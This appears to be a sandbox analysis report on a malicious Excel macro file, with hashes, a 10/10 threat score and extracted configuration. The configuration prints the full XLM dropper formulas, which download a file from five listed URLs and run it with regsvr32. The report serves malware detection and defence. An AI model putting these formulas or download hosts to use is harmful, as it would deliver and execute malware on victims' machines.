Overview

overview

10

Static

static

10

kenmarefar...m.xlsm

windows7-x64

10

kenmarefar...m.xlsm

windows10-2004-x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target

    kenmarefarmersunion.com.xlsm

  • Size

    90KB

  • Sample

    240305-t3139acb93

  • MD5

    6eb406ba86205cd5b060031b6194f32f

  • SHA1

    72f493032df2d6f37017fc88beb57233da481b97

  • SHA256

    4a1ee5d0defbb58b80c7f8e54b710b107200e5a0b7b421e44ed4e61ce23645df

  • SHA512

    92996256ffdfef210ceef0b8413ce6c2b52657bcf6edecafcdc95e311b417935a8c45c7d392934c0f027b9b146c82eeaa27856a0f66747a1b700f520d8ae2e55

  • SSDEEP

    1536:DQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:qDpyVEoBo6hKb4llGsQjbxfd

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/
Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/
xlm40.dropper

http://www.beholdpublications.com/home/BABxyyWZx8Vu/
xlm40.dropper

http://explorationit.com/screwing/AxLm/
xlm40.dropper

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/
xlm40.dropper

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Targets

    • Target

      kenmarefarmersunion.com.xlsm

    • Size

      90KB

    • MD5

      6eb406ba86205cd5b060031b6194f32f

    • SHA1

      72f493032df2d6f37017fc88beb57233da481b97

    • SHA256

      4a1ee5d0defbb58b80c7f8e54b710b107200e5a0b7b421e44ed4e61ce23645df

    • SHA512

      92996256ffdfef210ceef0b8413ce6c2b52657bcf6edecafcdc95e311b417935a8c45c7d392934c0f027b9b146c82eeaa27856a0f66747a1b700f520d8ae2e55

    • SSDEEP

      1536:DQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:qDpyVEoBo6hKb4llGsQjbxfd

    Score
    10/10
    behavioral1behavioral2

MITRE ATT&CK Enterprise v15

Tasks